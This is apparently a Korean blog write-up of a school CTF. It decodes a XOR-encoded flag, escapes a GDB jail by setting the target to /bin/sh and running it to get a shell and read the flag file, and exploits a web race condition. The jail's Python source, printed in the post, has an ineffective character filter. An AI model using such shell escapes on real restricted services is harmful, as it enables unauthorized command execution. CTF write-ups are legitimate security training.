아슬아슬하게 6등해서 상을 받게 되었다.. 우리 팀원들끼리 협동 해서 푼 문제들도 있었는데 좀 재밌었다. 마지막에 점수 역전 당할 줄 알았는데 아슬아슬하게 상을 타게 되었다.

REV

enc = "51564e534f497f473e78396a51573c7f4d4362217426277867"
bb = enc.decode("hex")
flag = ""
for i in range(len(bb)):
	flag += chr(ord(bb[i])^2^i)
print flag

enc를 인코딩해줬으니 decode하고 역으로 코드 짜주면 나온다

FLAG : SUNRIN{B4s1c_X0r_Pr0b13m}


MISC

  • GDB_jail
$ nc layer7.kr 12223 
      ___       ___  __   __         ___    ___  __      __   __   __
|  | |__  |    |__  /  ` /  \  |\/| |__      |  /  \    / _` |  \ |__)
|/\| |___ |___ |___ \__, \__/  |  | |___     |  \__/    \__> |__/ |__)

Gdb command : help
Running ...

target exec [PATH] -- set target
r -- run target

Gdb command : target exec /bin/sh
Running ...
Gdb command : r
Running ...
ls
flag
problem.py
cat flag
Sunrin{GDB_JA1L~~--><--~~L1AJ_BDG}

Help 커맨드를 이용해서 사용법을 보니 target exec 하고 경로를 입력하는게 target을 설정하는거였다.

그리고 r을 입력해주면 그 target이 실행이 된다고 했다.

그래서 target exec /bin/sh 로 target을 설정해주고 r을 입력해서 실행시켰더니 명령어를 사용할 수 있다는 것을 알 수 있었다. 그래서 ls로 파일들을 보니 flag라는 파일이 있길래 봤더니 flag가 있었다.

import gdb
import time

print('''      ___       ___  __   __         ___    ___  __      __   __   __
|  | |__  |    |__  /  ` /  \\  |\\/| |__      |  /  \\    / _` |  \\ |__)
|/\\| |___ |___ |___ \\__, \\__/  |  | |___     |  \\__/    \\__> |__/ |__)
                                                                      ''')

help_cmd = '''
target exec [PATH] -- set target
r -- run target
'''

while 1:
	try:
		command = input("Gdb command : ")
		print("Running ...")
		time.sleep(1)
		for i in command:
			if(i in "!`@#$%^&*()_+=-}{[]\\\"';:<>.,?|~`"):
				print("%s isn't allowed!"%(command.split(" ")[0]))
				continue

		if("target" in command):
			gdb.execute(command)

		elif("r" == command):
			gdb.execute("r")
			print("GOOD BYE")
			exit(1)

		elif("help" == command):
			print(help_cmd)

		else:
			print("%s isn't allowed!"%(command.split(" ")[0]))
	except:
		exit(1)

problem.py의 소스이다.

FLAG : Sunrin{GDB_JA1L~~--><--~~L1AJ_BDG}


WEB

웹 문제는 의도치 않게 푼거 같은데 F5로 계속 새로고침을 하다보면 Flag가 나왔다가 없어질 때 있는데 나올 때를 캡쳐해서 풀었다.

FLAG : Sunrin{b4by_r4c3_c0nd1t10n_1nw3bapp}

'CTF WriteUp' 카테고리의 다른 글

2019 Tamu CTF Writeup  (0) 2019.08.04
2019 Codegate Quals Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22

+ Recent posts